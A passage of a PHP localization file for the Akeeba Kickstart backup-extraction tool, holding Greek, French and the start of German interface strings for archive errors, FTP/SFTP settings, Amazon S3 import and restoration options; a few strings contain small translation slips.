  'INVALID_FILE_HEADER_MULTIPART' => 'Μη έγκυρο header στο αρχείο αρχειοθέτησης, τμήμα %s, offset %s. Το αρχείο αρχειοθέτησης αντιγράφου ασφαλείας σας αποτελείται από πολλαπλά αρχεία (αρχεία με το ίδιο όνομα και επεκτάσεις .%s, .%s01, .%4$s02…). Ή κάποια αρχεία λείπουν, ή είναι κατεστραμμένα ή τετμημένα. Θα χρειαστείτε όλα αυτά τα αρχεία να υπάρχουν στον ίδιο φάκελο. Βεβαιωθείτε ότι κατεβάσατε <em>και</em> ανεβάσατε τα αρχεία αρχειοθέτησης αντιγράφου ασφαλείας χρησιμοποιώντας SFTP, ή FTP σε λειτουργία μεταφοράς Binary και ελέγξατε ότι το μέγεθός τους ταιριάζει με τα μεγέθη που αναφέρονται στη σελίδα Διαχείριση Αντιγράφων Ασφαλείας του Akeeba Backup / Akeeba Solo.',
  'UPDATE_HEADER' => 'Μια ενημερωμένη έκδοση του Akeeba Kickstart (<span id=update-version>unknown</span>) είναι διαθέσιμη!',
  'UPDATE_NOTICE' => 'Σας συμβουλεύουμε να χρησιμοποιείτε πάντα την τελευταία έκδοση του Akeeba Kickstart που είναι διαθέσιμη. Οι παλαιότερες εκδόσεις ενδέχεται να περιέχουν σφάλματα και δεν θα υποστηρίζονται.',
  'UPDATE_DLNOW' => 'Λήψη τώρα',
  'UPDATE_MOREINFO' => 'Περισσότερες πληροφορίες',
  'NEEDSOMEHELPKS' => 'Θέλετε βοήθεια για τη χρήση αυτού του εργαλείου; Διαβάστε πρώτα αυτό:',
  'QUICKSTART' => 'Οδηγός γρήγορης εκκίνησης',
  'CANTGETITTOWORK' => 'Δεν καταφέρνετε να το κάνετε να λειτουργήσει; Κάντε κλικ εδώ!',
  'NOARCHIVESCLICKHERE' => 'Δεν εντοπίστηκαν αρχεία αρχειοθέτησης. Κάντε κλικ εδώ για οδηγίες αντιμετώπισης προβλημάτων.',
  'POSTRESTORATIONTROUBLESHOOTING' => 'Κάτι δεν λειτουργεί μετά την αποκατάσταση; Κάντε κλικ εδώ για οδηγίες αντιμετώπισης προβλημάτων.',
  'IGNORE_MOST_ERRORS' => 'Παραβίαση περισσότερων σφαλμάτων',
  'TIME_SETTINGS_HELP' => 'Αυξήστε το ελάχιστο σε 3 αν λαμβάνετε σφάλματα AJAX. Αυξήστε το μέγιστο σε 10 για ταχύτερη εξαγωγή, μειώστε το ξανά σε 5 αν λαμβάνετε σφάλματα AJAX. Δοκιμάστε ελάχιστο 5, μέγιστο 1 (δεν είναι τυπογραφικό σφάλμα!) αν συνεχίζετε να λαμβάνετε σφάλματα AJAX.',
  'STEALTH_MODE_HELP' => 'Όταν είναι ενεργοποιημένο, μόνο οι επισκέπτες από τη διεύθυνση IP σας θα μπορούν να δουν τον ιστότοπο μέχρι να ολοκληρωθεί η αποκατάσταση. Όλοι οι υπόλοιποι θα ανακατευθύνονται και θα βλέπουν μόνο την παραπάνω URL. Ο server σας πρέπει να βλέπει την πραγματική διεύθυνση IP του επισκέπτη (αυτό ελέγχεται από τον host σας, όχι από εσάς ή εμάς).',
  'RENAME_FILES_HELP' => 'Ανομοσιάζει τα αρχεία .htaccess, web.config, php.ini και .user.ini που περιέχονται στο αρχείο αρχειοθέτησης κατά την εξαγωγή. Τα αρχεία μετονομάζονται με επέκταση .bak. Τα ονόματα αρχείων επαναφέρονται όταν κάνετε κλικ στο Καθαρισμός.',
  'RESTORE_PERMISSIONS_HELP' => 'Εφαρμόζει τα δικαιώματα αρχείων (αλλά ΟΧΙ την ιδιοκτησία αρχείων) που αποθηκεύτηκαν κατά την ώρα δημιουργίας του αντιγράφου ασφαλείας. Λειτουργεί μόνο με αρχεία αρχειοθέτησης JPA και JPS. Δεν λειτουργεί στο Windows (το PHP δεν παρέχει τέτοια δυνατότητα).',
  'EXTRACT_LIST' => 'Αρχεία προς εξαγωγή',
  'EXTRACT_LIST_HELP' => 'Εισάγετε μια διαδρομή αρχείου όπως <code>images/cat.png</code> ή ένα pattern shell όπως <code>images/*.png</code> σε κάθε γραμμή. Μόνο τα αρχεία που ταιριάζουν σε αυτή τη λίστα θα γραφτούν στον δίσκο. Αφήστε κενό για εξαγωγή όλων (προεπιλογή).',
  'AKS3_IMPORT' => 'Εισαγωγή από Amazon S3',
  'AKS3_TITLE_STEP1' => 'Σύνδεση με Amazon S3',
  'AKS3_ACCESS' => 'Κλειδί πρόσβασης',
  'AKS3_SECRET' => 'Κρυπτογραφημένο κλειδί',
  'AKS3_CONNECT' => 'Σύνδεση με Amazon S3',
  'AKS3_CANCEL' => 'Ακύρωση εισαγωγής',
  'AKS3_TITLE_STEP2' => 'Επιλογή bucket Amazon S3',
  'AKS3_BUCKET' => 'Bucket',
  'AKS3_LISTCONTENTS' => 'Εμφάνιση περιεχομένων',
  'AKS3_TITLE_STEP3' => 'Επιλογή αρχείου αρχειοθέτησης προς εισαγωγή',
  'AKS3_FOLDERS' => 'Φάκελοι',
  'AKS3_FILES' => 'Αρχεία αρχειοθέτησης',
  'AKS3_TITLE_STEP4' => 'Εισαγωγή σε εξέλιξη…',
  'AKS3_DO_NOT_CLOSE' => 'Παρακαλώ μην κλείσετε αυτό το παράθυρο ενώ τα αρχεία αρχειοθέτησης αντιγράφου ασφαλείας εισάγονται',
  'AKS3_TITLE_STEP5' => 'Η εισαγωγή ολοκληρώθηκε',
  'AKS3_BTN_RELOAD' => 'Επαναφόρτωση Kickstart',
  'WRONG_FTP_PATH2' => 'Λάθος αρχικός φάκελος FTP - ο φάκελος δεν αντιστοιχεί στη ρίζα ιστού του ιστότοπού σας',
  'ARCHIVE_DIRECTORY' => 'Φάκελος αρχείων αρχειοθέτησης:',
  'RELOAD_ARCHIVES' => 'Επαναφόρτωση',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'Περιηγητής φακέλων SFTP',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Αδυναμία ανοίγματος του αρχείου τμήματος αρχειοθέτησης %s για ανάγνωση. Ελέγξτε ότι το αρχείο υπάρχει, είναι αναγνώσιμο από τον web server και δεν βρίσκεται σε φάκελο που είναι μη προσβάσιμος λόγω περιορισμών chroot, open_basedir ή οποιουδήποτε άλλου περιορισμού που έχει θέσει ο host σας.',
  'RENAME_FILES' => 'Μετονομασία αρχείων διαμόρφωσης server πριν την εξαγωγή',
  'BTN_SHOW_FINE_TUNE' => 'Εμφάνιση προηγμένων επιλογών (για ειδικούς)',
  'RESTORE_PERMISSIONS' => 'Αποκατάσταση δικαιωμάτων αρχείων',
  'ZAPBEFORE' => 'Διαγραφή όλων πριν την εξαγωγή',
  'ZAPBEFORE_HELP' => 'Προσπαθεί να διαγράψει όλα τα υπάρχοντα αρχεία και φακέλους κάτω από τον φάκελο όπου βρίσκεται το Kickstart πριν την εξαγωγή του αρχείου αρχειοθέτησης αντιγράφου ασφαλείας. ΔΕΝ λαμβάνει υπόψη ποια αρχεία και φακέλοι υπάρχουν στο αρχείο αρχειοθέτησης αντιγράφου ασφαλείας. Τα αρχεία και οι φάκελοι που διαγράφονται από αυτή τη δυνατότητα ΔΕΝ ΜΠΟΡΟΥΝ να ανακτηθούν. <strong>ΠΡΟΕΙΔΟΠΟΙΗΣΗ! ΑΥΤΟ ΜΠΟΡΕΙ ΝΑ ΔΙΑΓΡΕΙ ΑΡΧΕΙΑ ΚΑΙ ΦΑΚΕΛΟΥΣ ΠΟΥ ΔΕΝ ΑΝΗΚΟΥΝ ΣΤΟΝ ΙΣΤΟΤΟΠΟ ΣΑΣ. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΜΕ ΕΞΤΡΕΜΗ ΠΡΟΣΟΧΗ. ΕΝΕΡΓΟΠΟΙΩΝΤΑΣ ΑΥΤΗ ΤΗ ΔΥΝΑΤΟΤΗΤΑ ΑΝΑΛΑΜΒΑΝΕΤΕ ΟΛΗ ΤΗΝ ΕΥΘΥΝΗ ΚΑΙ ΑΠΟΔΑΝΕΥΘΥΝΩΣΗ.</strong>',
);

	/**
	 * Translation strings for fr-FR
	 *
	 * @var  array
	 */
	private $translation_fr_fr = array (
  'AUTOMODEON' => 'Mode automatique activé',
  'ERR_NOT_A_JPA_FILE' => 'Le fichier n\'est pas une archive JPA',
  'ERR_CORRUPT_ARCHIVE' => 'Le fichier archive est corrompu, tronqué ou des parties de l\'archive sont manquantes',
  'ERR_INVALID_ARCHIVE_LONG' => 'Le fichier archive semble corrompu, ou des parties de l\'archive sont manquantes. Si vos sauvegardes se composent de plusieurs fichiers, veuillez vous assurer d\'avoir téléchargé tous les fichiers parties de l\'archive (fichiers portant le même nom et les extensions .%s, .%s01, .%2$s02…). Veuillez vous assurer de télécharger <em>et</em> téléverser les fichiers en utilisant SFTP, ou FTP en mode de transfert binaire et vérifier que la taille de leurs fichiers correspond aux tailles indiquées dans la page Gérer les sauvegardes de Akeeba Backup / Akeeba Solo.',
  'ERR_INVALID_LOGIN' => 'Identifiant de connexion invalide',
  'COULDNT_CREATE_DIR' => 'Impossible de créer le dossier %s',
  'COULDNT_WRITE_FILE' => 'Impossible d\'ouvrir %s en écriture.',
  'WRONG_FTP_HOST' => 'Hôte ou port FTP incorrect',
  'WRONG_FTP_USER' => 'Nom d\'utilisateur ou mot de passe FTP incorrect',
  'WRONG_FTP_PATH1' => 'Répertoire initial FTP incorrect - le répertoire n\'existe pas',
  'FTP_CANT_CREATE_DIR' => 'Impossible de créer le répertoire %s',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'Impossible de trouver ou de créer un répertoire temporaire accessible en écriture',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'Impossible de trouver ou de créer un répertoire temporaire accessible en écriture',
  'FTP_COULDNT_UPLOAD' => 'Impossible de téléverser %s',
  'THINGS_HEADER' => 'Points à connaître au sujet de Akeeba Kickstart',
  'THINGS_01' => 'Kickstart n\'est pas un programme d\'installation. C\'est un outil d\'extraction d\'archives. Le programme d\'installation proprement dit a été placé dans le fichier archive lors de la sauvegarde.',
  'THINGS_03' => 'Kickstart est limité par la configuration de votre serveur. À ce titre, il se peut qu\'il ne fonctionne pas du tout.',
  'THINGS_04' => 'Vous devriez télécharger et téléverser vos fichiers archive en utilisant FTP en mode de transfert binaire. Toute autre méthode pourrait entraîner une corruption de l\'archive de sauvegarde et un échec de la restauration.',
  'THINGS_05' => 'Les erreurs de chargement du site après la restauration sont généralement causées par des directives .htaccess ou php.ini. Vous devriez comprendre que les pages blanches, les erreurs 404 et 500 peuvent généralement être contournées en modifiant les fichiers susmentionnés. Il ne nous appartient pas de modifier vos fichiers de configuration, car cela pourrait être dangereux pour votre site.',
  'THINGS_06' => 'Kickstart remplace les fichiers sans avertissement. Si vous n\'êtes pas certain d\'accepter cela, ne continuez pas.',
  'THINGS_07' => 'Tenter de restaurer sur l\'URL temporaire d\'un hébergeur cPanel (par exemple http://1.2.3.4/~utilisateur) entraînera un échec de la restauration et votre site semblera ne pas fonctionner. C\'est normal et c\'est simplement ainsi que fonctionnent votre serveur et le logiciel CMS.',
  'THINGS_08' => 'Vous êtes censé lire la documentation avant d\'utiliser ce logiciel. La plupart des problèmes peuvent être évités, ou facilement contournés, en comprenant le fonctionnement de ce logiciel.',
  'THINGS_09' => 'Ce texte n\'implique pas qu\'un problème ait été détecté. Il s\'agit d\'un texte standard affiché à chaque lancement de Kickstart.',
  'CLOSE_LIGHTBOX' => 'Cliquez ici ou appuyez sur ÉCHAP pour fermer ce message',
  'SELECT_ARCHIVE' => 'Sélectionner une archive de sauvegarde',
  'ARCHIVE_FILE' => 'Fichier archive :',
  'SELECT_EXTRACTION' => 'Sélectionner une méthode d\'extraction',
  'WRITE_TO_FILES' => 'Écrire dans les fichiers :',
  'WRITE_HYBRID' => 'Hybride (utiliser FTP uniquement si nécessaire)',
  'WRITE_DIRECTLY' => 'Directement',
  'WRITE_FTP' => 'Utiliser FTP pour tous les fichiers',
  'WRITE_SFTP' => 'Utiliser SFTP pour tous les fichiers',
  'FTP_HOST' => 'Nom d\'hôte (S)FTP :',
  'FTP_PORT' => 'Port (S)FTP :',
  'FTP_FTPS' => 'Utiliser FTP sur SSL (FTPS)',
  'FTP_PASSIVE' => 'Utiliser le mode passif FTP',
  'FTP_USER' => 'Nom d\'utilisateur (S)FTP :',
  'FTP_PASS' => 'Mot de passe (S)FTP :',
  'FTP_DIR' => 'Répertoire (S)FTP :',
  'FTP_TEMPDIR' => 'Répertoire temporaire :',
  'FTP_CONNECTION_OK' => 'Connexion FTP établie',
  'SFTP_CONNECTION_OK' => 'Connexion SFTP établie',
  'FTP_CONNECTION_FAILURE' => 'La connexion FTP a échoué',
  'SFTP_CONNECTION_FAILURE' => 'La connexion SFTP a échoué',
  'FTP_TEMPDIR_WRITABLE' => 'Le répertoire temporaire est accessible en écriture.',
  'FTP_TEMPDIR_UNWRITABLE' => 'Le répertoire temporaire n\'est pas accessible en écriture. Veuillez vérifier les permissions.',
  'FTP_BROWSE' => 'Parcourir',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Cliquez sur un répertoire pour y naviguer. Cliquez sur OK pour sélectionner ce répertoire, Annuler pour interrompre la procédure.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Hôte ou port FTP invalide',
  'FTPBROWSER_ERROR_USERPASS' => 'Nom d\'utilisateur ou mot de passe FTP invalide',
  'FTPBROWSER_ERROR_NOACCESS' => 'Le répertoire n\'existe pas ou vous n\'avez pas les permissions suffisantes pour y accéder',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Désolé, votre serveur FTP ne prend pas en charge notre navigateur de répertoires FTP.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;monter d\'un niveau&gt;',
  'FTPBROWSER_LBL_ERROR' => 'Une erreur s\'est produite',
  'SFTP_NO_SSH2' => 'Votre serveur web ne dispose pas du module PHP SSH2, il ne peut donc pas se connecter aux serveurs SFTP.',
  'SFTP_NO_FTP_SUPPORT' => 'Votre serveur SSH n\'autorise pas les connexions SFTP',
  'SFTP_WRONG_USER' => 'Nom d\'utilisateur ou mot de passe SFTP incorrect',
  'SFTP_WRONG_STARTING_DIR' => 'Vous devez fournir un chemin absolu valide',
  'SFTPBROWSER_ERROR_NOACCESS' => 'Le répertoire n\'existe pas ou vous n\'avez pas les permissions suffisantes pour y accéder',
  'SFTP_COULDNT_UPLOAD' => 'Impossible de téléverser %s',
  'SFTP_CANT_CREATE_DIR' => 'Impossible de créer le répertoire %s',
  'UI-ROOT' => '&lt;racine&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'Navigateur de répertoires FTP',
  'BTN_CHECK' => 'Vérifier',
  'BTN_RESET' => 'Réinitialiser',
  'BTN_TESTFTPCON' => 'Tester la connexion FTP',
  'BTN_TESTSFTPCON' => 'Tester la connexion SFTP',
  'BTN_GOTOSTART' => 'Recommencer',
  'BTN_RETRY' => 'Réessayer',
  'FINE_TUNE' => 'Affiner',
  'MIN_EXEC_TIME' => 'Temps d\'exécution minimum :',
  'MAX_EXEC_TIME' => 'Temps d\'exécution maximum :',
  'SECONDS_PER_STEP' => 'secondes par étape',
  'EXTRACT_FILES' => 'Extraire les fichiers',
  'BTN_START' => 'Démarrer',
  'EXTRACTING' => 'Extraction en cours',
  'DO_NOT_CLOSE_EXTRACT' => 'Ne fermez pas cette fenêtre pendant que l\'extraction est en cours',
  'RESTACLEANUP' => 'Restauration et nettoyage',
  'BTN_RUNINSTALLER' => 'Exécuter le programme d\'installation',
  'BTN_CLEANUP' => 'Nettoyer',
  'BTN_SITEFE' => 'Visiter la partie publique de votre site',
  'BTN_SITEBE' => 'Visiter la partie administrative de votre site',
  'WARNINGS' => 'Avertissements d\'extraction',
  'ERROR_OCCURED' => 'Une erreur s\'est produite',
  'STEALTH_MODE' => 'Mode furtif',
  'STEALTH_URL' => 'Fichier HTML à afficher aux visiteurs du web',
  'ERR_NOT_A_JPS_FILE' => 'Le fichier n\'est pas une archive JPS',
  'ERR_INVALID_JPS_PASSWORD' => 'Le mot de passe que vous avez fourni est incorrect ou l\'archive est corrompue',
  'JPS_PASSWORD' => 'Mot de passe de l\'archive (pour les fichiers JPS)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Impossible d\'ouvrir le fichier %s en lecture. Il s\'agit de la partie n°%d de votre archive de sauvegarde qui se compose de plusieurs fichiers (fichiers portant le même nom et les extensions .%s, .%s01, .%4$s02…). Veuillez vous assurer que tous ces fichiers se trouvent dans le même dossier que Kickstart.',
  'INVALID_FILE_HEADER' => 'En-tête invalide dans le fichier archive, partie %s, décalage %s. Veuillez vous assurer de télécharger <em>et</em> téléverser les fichiers archive de sauvegarde en utilisant SFTP, ou FTP en mode de transfert binaire et vérifier que la taille de leurs fichiers correspond aux tailles indiquées dans la page Gérer les sauvegardes de Akeeba Backup / Akeeba Solo.',
  'INVALID_FILE_HEADER_MULTIPART' => 'En-tête invalide dans le fichier archive, partie %s, décalage %s. Votre archive de sauvegarde se compose de plusieurs fichiers (fichiers portant le même nom et les extensions .%s, .%s01, .%4$s02…). Soit certains fichiers sont manquants, soit ils sont corrompus ou tronqués. Tous ces fichiers doivent être présents dans le même répertoire. Veuillez vous assurer de télécharger <em>et</em> téléverser les fichiers archive de sauvegarde en utilisant SFTP, ou FTP en mode de transfert binaire et vérifier que la taille de leurs fichiers correspond aux tailles indiquées dans la page Gérer les sauvegardes de Akeeba Backup / Akeeba Solo.',
  'UPDATE_HEADER' => 'Une version mise à jour de Akeeba Kickstart (<span id=update-version>unknown</span>) est disponible !',
  'UPDATE_NOTICE' => 'Il vous est conseillé d\'utiliser toujours la dernière version de Akeeba Kickstart disponible. Les anciennes versions peuvent être sujettes à des bugs et ne seront pas prises en charge.',
  'UPDATE_DLNOW' => 'Télécharger maintenant',
  'UPDATE_MOREINFO' => 'Plus d\'informations',
  'NEEDSOMEHELPKS' => 'Vous avez besoin d\'aide pour utiliser cet outil ? Lisez ceci en premier :',
  'QUICKSTART' => 'Guide de démarrage rapide',
  'CANTGETITTOWORK' => 'Vous n\'arrivez pas à le faire fonctionner ? Cliquez ici !',
  'NOARCHIVESCLICKHERE' => 'Aucune archive détectée. Cliquez ici pour les instructions de dépannage.',
  'POSTRESTORATIONTROUBLESHOOTING' => 'Quelque chose ne fonctionne pas après la restauration ? Cliquez ici pour les instructions de dépannage.',
  'IGNORE_MOST_ERRORS' => 'Ignorer la plupart des erreurs',
  'TIME_SETTINGS_HELP' => 'Augmentez le minimum à 3 si vous obtenez des erreurs AJAX. Augmentez le maximum à 10 pour une extraction plus rapide, diminuez à 5 si vous obtenez des erreurs AJAX. Essayez minimum 5, maximum 1 (ce n\'est pas une coquille !) si vous continuez à obtenir des erreurs AJAX.',
  'STEALTH_MODE_HELP' => 'Lorsqu\'il est activé, seuls les visiteurs provenant de votre adresse IP pourront voir le site jusqu\'à ce que la restauration soit terminée. Tous les autres seront redirigés vers l\'URL ci-dessus et n\'en verront que celle-ci. Votre serveur doit voir l\'IP réelle du visiteur (cela est contrôlé par votre hébergeur, pas par vous ou nous).',
  'RENAME_FILES_HELP' => 'Renomme les fichiers .htaccess, web.config, php.ini et .user.ini contenus dans l\'archive lors de l\'extraction. Les fichiers sont renommés avec l\'extension .bak. Les noms de fichiers sont restaurés lorsque vous cliquez sur Nettoyage.',
  'RESTORE_PERMISSIONS_HELP' => 'Applique les permissions de fichiers (mais PAS la propriété des fichiers) qui ont été stockées au moment de la sauvegarde. Ne fonctionne qu\'avec les archives JPA et JPS. Ne fonctionne pas sous Windows (PHP n\'offre pas cette fonctionnalité).',
  'EXTRACT_LIST' => 'Fichiers à extraire',
  'EXTRACT_LIST_HELP' => 'Saisissez un chemin de fichier tel que <code>images/cat.png</code> ou un motif shell tel que <code>images/*.png</code> sur chaque ligne. Seuls les fichiers correspondant à cette liste seront écrits sur le disque. Laisser vide pour extraire tout le contenu (par défaut).',
  'AKS3_IMPORT' => 'Importer depuis Amazon S3',
  'AKS3_TITLE_STEP1' => 'Se connecter à Amazon S3',
  'AKS3_ACCESS' => 'Clé d\'accès',
  'AKS3_SECRET' => 'Clé secrète',
  'AKS3_CONNECT' => 'Se connecter à Amazon S3',
  'AKS3_CANCEL' => 'Annuler l\'importation',
  'AKS3_TITLE_STEP2' => 'Sélectionner votre bucket Amazon S3',
  'AKS3_BUCKET' => 'Bucket',
  'AKS3_LISTCONTENTS' => 'Lister le contenu',
  'AKS3_TITLE_STEP3' => 'Sélectionner l\'archive à importer',
  'AKS3_FOLDERS' => 'Dossiers',
  'AKS3_FILES' => 'Fichiers archive',
  'AKS3_TITLE_STEP4' => 'Importation en cours…',
  'AKS3_DO_NOT_CLOSE' => 'Veuillez ne pas fermer cette fenêtre pendant l\'importation de vos archives de sauvegarde',
  'AKS3_TITLE_STEP5' => 'L\'importation est terminée',
  'AKS3_BTN_RELOAD' => 'Recharger Kickstart',
  'WRONG_FTP_PATH2' => 'Répertoire initial FTP incorrect - le répertoire ne correspond pas à la racine web de votre site',
  'ARCHIVE_DIRECTORY' => 'Répertoire des archives :',
  'RELOAD_ARCHIVES' => 'Recharger',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'Navigateur de répertoires SFTP',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Impossible d\'ouvrir le fichier partie d\'archive %s en lecture. Vérifiez que le fichier existe, est lisible par le serveur web et ne se trouve pas dans un répertoire rendu inaccessible par chroot, les restrictions open_basedir ou toute autre restriction mise en place par votre hébergeur.',
  'RENAME_FILES' => 'Renommer les fichiers de configuration du serveur avant l\'extraction',
  'BTN_SHOW_FINE_TUNE' => 'Afficher les options avancées (pour experts)',
  'RESTORE_PERMISSIONS' => 'Restaurer les permissions de fichiers',
  'ZAPBEFORE' => 'Supprimer tout avant l\'extraction',
  'ZAPBEFORE_HELP' => 'Tente de supprimer tous les fichiers et dossiers existants dans le répertoire où Kickstart est stocké avant d\'extraire l\'archive de sauvegarde. Il NE tient PAS compte des fichiers et dossiers présents dans l\'archive de sauvegarde. Les fichiers et dossiers supprimés par cette fonctionnalité NE PEUVENT PAS être récupérés. <strong>ATTENTION ! CELA PEUT SUPPRIMER DES FICHIERS ET DES DOSSIERS QUI NE APPARTIENNENT PAS À VOTRE SITE. UTILISER AVEC LA PLUS GRANDE PRUDENCE. EN ACTIVANT CETTE FONCTIONNALITÉ, VOUS ASSUMEZ L\'ENTIÈRE RESPONSABILITÉ ET LE RISQUE QUI EN RÉSULTE.</strong>',
);

	/**
	 * Translation strings for de-DE
	 *
	 * @var  array
	 */
	private $translation_de_de = array (
  'AUTOMODEON' => 'Automodus aktiviert',
  'ERR_NOT_A_JPA_FILE' => 'Die Datei ist kein JPA-Archiv',
  'ERR_CORRUPT_ARCHIVE' => 'Die Archivdatei ist beschädigt, abgeschnitten oder Archivteile fehlen',
  'ERR_INVALID_ARCHIVE_LONG' => 'Die Archivdatei scheint beschädigt zu sein oder Archivteile fehlen. Wenn Ihre Sicherungen aus mehreren Dateien bestehen, stellen Sie bitte sicher, dass Sie alle Archivteil-Dateien heruntergeladen haben (Dateien mit demselben Namen und den Erweiterungen .%s, .%s01, .%2$s02…). Bitte laden Sie <em>und</em> laden Sie Dateien über SFTP oder FTP im Binärübertragungsmodus hoch und überprüfen Sie, dass ihre Dateigröße mit den auf der Seite „Sicherungen verwalten" in Akeeba Backup / Akeeba Solo angegebenen Größen übereinstimmt.',
  'ERR_INVALID_LOGIN' => 'Ungültige Anmeldung',
  'COULDNT_CREATE_DIR' => 'Verzeichnis %s konnte nicht erstellt werden',
  'COULDNT_WRITE_FILE' => 'Datei %s konnte nicht zum Schreiben geöffnet werden.',
  'WRONG_FTP_HOST' => 'Falscher FTP-Host oder falscher Port',
  'WRONG_FTP_USER' => 'Falscher FTP-Benutzername oder falsches Passwort',
  'WRONG_FTP_PATH1' => 'Falsches FTP-Startverzeichnis – das Verzeichnis existiert nicht',
  'FTP_CANT_CREATE_DIR' => 'Verzeichnis %s konnte nicht erstellt werden',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'Kein beschreibbares temporäres Verzeichnis gefunden oder erstellt werden',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'Kein beschreibbares temporäres Verzeichnis gefunden oder erstellt werden',
  'FTP_COULDNT_UPLOAD' => 'Datei %s konnte nicht hochgeladen werden',
  'THINGS_HEADER' => 'Wichtige Informationen zu Akeeba Kickstart',
  'THINGS_01' => 'Kickstart ist kein Installationsprogramm. Es ist ein Tool zum Entpacken von Archiven. Das eigentliche Installationsprogramm wurde beim Erstellen der Sicherung in die Archivdatei eingebettet.',
  'THINGS_03' => 'Kickstart ist an die Konfiguration Ihres Servers gebunden. Daher kann es sein, dass es überhaupt nicht funktioniert.',
  'THINGS_04' => 'Sie sollten Ihre Archivdateien über FTP im Binärübertragungsmodus herunterladen und hochladen. Jedes andere Verfahren kann zu einem beschädigten Sicherungsarchiv und einem Wiederherstellungsfehler führen.',
  'THINGS_05' => 'Fehler beim Laden der Website nach der Wiederherstellung werden in der Regel durch .htaccess- oder php.ini-Direktiven verursacht. Sie sollten verstehen, dass leere Seiten, 404- und 500-Fehler in der Regel durch Bearbeiten der aforementioned Dateien behoben werden können. Es ist nicht unsere Aufgabe, Ihre Konfigurationsdateien zu verändern, da dies für Ihre Website gefährlich sein könnte.',
  'THINGS_06' => 'Kickstart überschreibt Dateien ohne Warnung. Wenn Sie nicht sicher sind, dass Sie damit einverstanden sind, fahren Sie nicht fort.',
  'THINGS_07' => 'Der Versuch, auf die temporäre URL eines cPanel-Hosts wiederherzustellen (z. B. http://1.2.3.4/~benutzername), führt zum Wiederherstellungsfehler und Ihre Website scheint nicht zu funktionieren. Dies ist normal und liegt an der Funktionsweise Ihres Servers und Ihrer CMS-Software.',
  'THINGS_08' => 'Sie sollten die Dokumentation lesen, bevor Sie diese Software verwenden. Die meisten Probleme können durch das Verständnis der Funktionsweise dieser Software vermieden oder einfach behoben werden.',
  'THINGS_09' => 'Dieser Text bedeutet nicht, dass ein Problem erkannt wurde. Es ist ein Standardtext, der bei jedem Start von Kickstart angezeigt wird.',
  'CLOSE_LIGHTBOX' => 'Klicken Sie hier oder drücken Sie ESC, um diese Nachricht zu schließen',
  'SELECT_ARCHIVE' => 'Ein Sicherungsarchiv auswählen',
  'ARCHIVE_FILE' => 'Archivdatei:',
  'SELECT_EXTRACTION' => 'Eine Extraktionsmethode auswählen',
  'WRITE_TO_FILES' => 'In Dateien schreiben:',
  'WRITE_HYBRID' => 'Hybrid (FTP nur bei Bedarf verwenden)',
  'WRITE_DIRECTLY' => 'Direkt',
  'WRITE_FTP' => 'FTP für alle Dateien verwenden',
  'WRITE_SFTP' => 'SFTP für alle Dateien verwenden',
  'FTP_HOST' => '(S)FTP-Hostname:',
  'FTP_PORT' => '(S)FTP-Port:',
  'FTP_FTPS' => 'FTP über SSL verwenden (FTPS)',
  'FTP_PASSIVE' => 'FTP-Passivmodus verwenden',
  'FTP_USER' => '(S)FTP-Benutzername:',
  'FTP_PASS' => '(S)FTP-Passwort:',
  'FTP_DIR' => '(S)FTP-Verzeichnis:',
  'FTP_TEMPDIR' => 'Temporäres Verzeichnis:',
  'FTP_CONNECTION_OK' => 'FTP-Verbindung hergestellt',
  'SFTP_CONNECTION_OK' => 'SFTP-Verbindung hergestellt',
  'FTP_CONNECTION_FAILURE' => 'Die FTP-Verbindung ist fehlgeschlagen',
  'SFTP_CONNECTION_FAILURE' => 'Die SFTP-Verbindung ist fehlgeschlagen',
  'FTP_TEMPDIR_WRITABLE' => 'Das temporäre Verzeichnis ist beschreibbar.',
  'FTP_TEMPDIR_UNWRITABLE' => 'Das temporäre Verzeichnis ist nicht beschreibbar. Bitte überprüfen Sie die Berechtigungen.',
  'FTP_BROWSE' => 'Durchsuchen',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Klicken Sie auf ein Verzeichnis, um darin zu navigieren. Klicken Sie auf OK, um dieses Verzeichnis auszuwählen, oder auf Abbrechen, um den Vorgang abzubrechen.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Ungültiger FTP-Host oder falscher Port',
  'FTPBROWSER_ERROR_USERPASS' => 'Ungültiger FTP-Benutzername oder falsches Passwort',
  'FTPBROWSER_ERROR_NOACCESS' => 'Verzeichnis existiert nicht oder Sie haben nicht genügend Berechtigungen für den Zugriff',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Ihr FTP-Server unterstützt unseren FTP-Verzeichnisbrowser leider nicht.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;eine Ebene nach oben&gt;',
  'FTPBROWSER_LBL_ERROR' => 'Ein Fehler ist aufgetreten',
  'SFTP_NO_SSH2' => 'Ihr Webserver verfügt nicht über das SSH2-PHP-Modul und kann daher keine Verbindung zu SFTP-Servern herstellen.',
  'SFTP_NO_FTP_SUPPORT' => 'Ihr SSH-Server erlaubt keine SFTP-Verbindungen',
  'SFTP_WRONG_USER' => 'Falscher SFTP-Benutzername oder falsches Passwort',
  'SFTP_WRONG_STARTING_DIR' => 'Sie müssen einen gültigen absoluten Pfad angeben',
  'SFTPBROWSER_ERROR_NOACCESS' => 'Verzeichnis existiert nicht oder Sie haben nicht genügend Berechtigungen für den Zugriff',
  'SFTP_COULDNT_UPLOAD' => 'Datei %s konnte nicht hochgeladen werden',
  'SFTP_CANT_CREATE_DIR' => 'Verzeichnis %s konnte nicht erstellt werden',
  'UI-ROOT' => '&lt;Wurzel&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'FTP-Verzeichnisbrowser',
  'BTN_CHECK' => 'Prüfen',
  'BTN_RESET' => 'Zurücksetzen',
  'BTN_TESTFTPCON' => 'FTP-Verbindung testen',
